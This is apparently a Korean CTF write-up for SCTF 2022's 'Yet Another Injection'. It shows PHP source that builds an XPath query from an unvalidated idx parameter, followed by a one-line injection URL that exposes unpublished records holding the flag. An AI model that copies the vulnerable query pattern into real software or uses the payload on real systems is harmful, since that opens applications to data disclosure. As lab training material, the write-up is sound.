본문 바로가기
CTF

[SCTF 2022] Yet Another Injection

by skyepodium 2023. 5. 20.

1. 개요

xPath injection 문제
문제 링크

 

2. 분석

접속하면 로그인 창이 나오는데 먼저 로그인 해야합니다.

 

1) login.php

코드를 보면, array_push 로 guest 계정을 users 배열에 넣어줍니다. 따라서, guest/guest로 로그인합니다.

    function checkUser($username, $pwd) {
        if (($username === "") || ($pwd === "")) {
            return false;
        }

        $accounts = @file_get_contents("accounts.txt");
        if ($accounts === false) {
            $users = array();
        } else {
            $users = explode("\n", $accounts);
        }

        array_push($users, "guest:".hash("sha256", "guest"));

        $granted = false;
        foreach ($users as $each) {
            $info = explode(":",$each);
            if ( $username === trim($info[0]) && hash("sha256", $pwd) === trim($info[1]) ) {
                $granted = true;
                break;
            }
        }

        return $granted;
    }

 

2) xpath

library.php 파일의 코드를 보면 query에 xpath를 사용하고 있습니다. 다만, idx 값에 validation이 걸려있지 않아, injection이 가능해보입니다.

<?php
    $_library_file_name = '/db/papers.xml';

    function loadPapers() {
        global $_library_file_name;
        $xml = new DOMDocument;
        $xml->load($_library_file_name);
        return $xml;
    }

    function paperList(DomDocument $papers) {
        $xpath = new DOMXPath($papers);
        $query = '/Papers/Paper[@published="yes"]';
        $paper_list = $xpath->query($query);
        return $paper_list;
    }

    function getFirstChildText(DOMNode $node, string $tag) {
        return $node->getElementsByTagName($tag)->item(0)->nodeValue;
    }

    function getDetail(DomDocument $papers, string $idx) {
        $xpath = new DOMXPath($papers);
        $query = "//Paper[Idx/text()='".$idx."' and @published='yes']";
        $paper_list = $xpath->query($query);
        
        if ($paper_list == false) {
            return ['status' => 'Error', 'msg' => 'Invalid XPATH expression'];
        }
        if ($paper_list->count() == 0) {
            return ['status' => 'Error', 'msg' => 'No such entity'];
        }

        $paper = $paper_list->item(0);
        return [
            'status' => 'Success', 
            'Title' => getFirstChildText($paper, 'Title'), 
            'Author' => getFirstChildText($paper, 'Author'), 
            'Conference' => getFirstChildText($paper, 'Conference'), 
            'Year' => getFirstChildText($paper, 'Year'), 
            'Abstract' => getFirstChildText($paper, 'Abstract')
        ];
    }
?>

 

3. exploit

@published='yes'가 의심스러웠고, 'no'인 경우를 조회하면 flag를 얻을 수 있습니다.

http://localhost:35358/paperdetail.php?idx=' or @published='no' or 'a'='b

'CTF' 카테고리의 다른 글

[SCTF 2022] Imageium  (0) 2023.05.20
[SCTF 2022] DocxArchive  (0) 2023.05.20
[WaniCTF 2023] certified 1  (0) 2023.05.13
[WaniCTF 2023] Screen shot  (0) 2023.05.10
[WaniCTF 2023] Prompt  (0) 2023.05.07